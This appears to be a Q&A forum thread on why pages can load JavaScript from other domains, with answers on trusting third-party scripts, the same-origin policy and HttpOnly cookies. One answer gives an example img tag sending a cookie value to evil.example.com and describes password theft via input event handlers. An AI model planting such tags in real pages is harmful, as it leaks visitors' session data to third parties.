views:

115

answers:

2

Why is it that when we link to a javascript file on x.com from y.com (for example google analytics or jquery) it doesn't cause any cross domain security issues?

For example:

in y.com/index.html we have:

<script type="text/javascript" src="http://x.com/jsfile.js" />

How can we know when this is ok to do and when it's not?

+6  A: 

It has the potential to be a major security hole so you have to trust that site that is hosting the JavaScript file.

For example, that code can inject more script tags and img tags into your site that can relay sensitive data to a 3rd party.

David's comment about the Same Origin policy can be misleading. A classic way to relay data to a remote site is to insert an img tag to a remote domain:

<img src="http://evil.example.com/sendcookieshere.whatever?cookievalue=secret_info />

If the JavaScript code on the remote host was changed to dynamically inject an img tag such as this then your site could have a security hole. There are mitigations to some of these issues such as using HTTP-only cookies, which are not accessible via JavaScript.

The example of analytics systems is a great one. You have to trust that the provider will not take any sensitive data such as your own cookies and send it to a remote location. You also need to trust the provider that their system is secure and that a hacker couldn't alter the JavaScript files on their servers. Analytics systems generally work by using these same techniques, but hopefully they use it for good and not evil. In some sense it's no different than worrying about whether your developers are writing good, secure code and whether they introduce a secret backdoor.

As to why it is allowed, it is just historical. The web was not at all designed with security in mind. Whether it's a CSRF attack, replay attacks, or XSS attacks, these are all fundamental flaws in the design of the web that now become concerns of web developers.

Eilon
It is true that HTTP only cookies can be extracted by parsing the headers in JavaScript right?
alex
@alex - I'm not sure about that. The JavaScript could also do other things that are far more evil such as stealing passwords by attaching event handlers to input tags that then send the text to a remote server.
Eilon
+2  A: 

Where the data comes from is irrelevant, it's the scope where it's used that matters.

You are just getting the script from a different domain, it still runs in the scope of your own page so it doesn't have any access to resources in the domain from where it was loaded.

In a situation where you have cross domain issues, like an iframe containing a page from a different domain, you have two different scopes. The page in the iframe runs in the scope of the domain where it was loaded from, so it can access resources in that domain, but it can't access anything in the page that is hosting the iframe as that is a different scope.

(Note: I don't know if the term "scope" is commonly used in this context, there might be a term that better describes it.)

Guffa